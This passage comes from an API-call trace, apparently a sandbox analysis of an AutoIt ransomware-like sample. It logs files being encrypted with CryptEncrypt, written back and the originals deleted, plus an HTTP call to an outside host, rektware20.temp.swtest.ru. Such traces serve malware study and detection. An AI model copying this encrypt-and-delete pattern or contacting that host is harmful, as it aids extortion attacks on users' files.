lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.916] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.916] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.916] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219f0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.917] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.917] CryptEncrypt (in: hKey=0x164c870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17c1d00*, pdwDataLen=0x130e618*=0x1783, dwBufLen=0x1790 | out: pbData=0x17c1d00*, pdwDataLen=0x130e618*=0x1790) returned 1 [0060.917] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.917] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.917] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.917] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.917] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.917] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.917] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.917] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.917] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.917] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.918] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.918] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.918] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.918] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.918] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.918] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.918] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.918] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.918] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.918] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.918] WriteFile (in: hFile=0x2ac, lpBuffer=0x17ccde8*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17ccde8*, lpNumberOfBytesWritten=0x130f01c*=0x1790, lpOverlapped=0x0) returned 1 [0060.919] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.919] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.919] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0060.920] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.920] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.920] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0060.920] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0060.920] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0060.920] CryptDestroyKey (hKey=0x164c870) returned 1 [0060.920] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.920] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.920] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.921] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.921] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.921] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.921] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.921] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.921] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.921] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0060.921] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.921] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.921] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.921] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.921] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.921] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.921] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.921] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.921] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.922] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.922] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.922] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.922] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.922] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.922] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.922] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.922] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.922] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.922] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0060.923] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0060.923] CryptReleaseContext (hProv=0x17aa2b8, dwFlags=0x0) returned 1 [0060.923] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.923] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.923] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.923] FreeLibrary (hLibModule=0x74c60000) returned 1 [0060.923] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.923] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.923] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.923] CloseHandle (hObject=0x3bc) returned 1 [0060.923] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.923] CloseHandle (hObject=0x2ac) returned 1 [0060.926] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.927] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.927] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", lpFilePart=0x0) returned 0x47 [0060.927] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\lxsh-uwbsxhnt.gif")) returned 0x20 [0060.927] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7b0 [0060.928] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\lxsh-uwbsxhnt.gif")) returned 1 [0060.929] FindNextFileW (in: hFindFile=0x164c7b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0060.930] FindClose (in: hFindFile=0x164c7b0 | out: hFindFile=0x164c7b0) returned 1 [0060.930] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 1 [0060.930] TranslateMessage (lpMsg=0x130f3bc) returned 0 [0060.930] DispatchMessageW (lpMsg=0x130f3bc) returned 0x0 [0060.930] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ea20) returned 1 [0060.933] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0060.933] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0060.933] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.933] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.934] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.934] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.934] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0060.934] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0060.934] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.934] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0060.934] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.934] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0060.934] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0060.934] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e98, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e98, lpdwBufferLength=0x130ef8c) returned 1 [0060.934] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.934] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.934] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.935] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0060.935] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0060.935] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0060.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0060.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0060.935] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.935] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.935] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.935] CloseHandle (hObject=0x0) returned 0 [0060.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 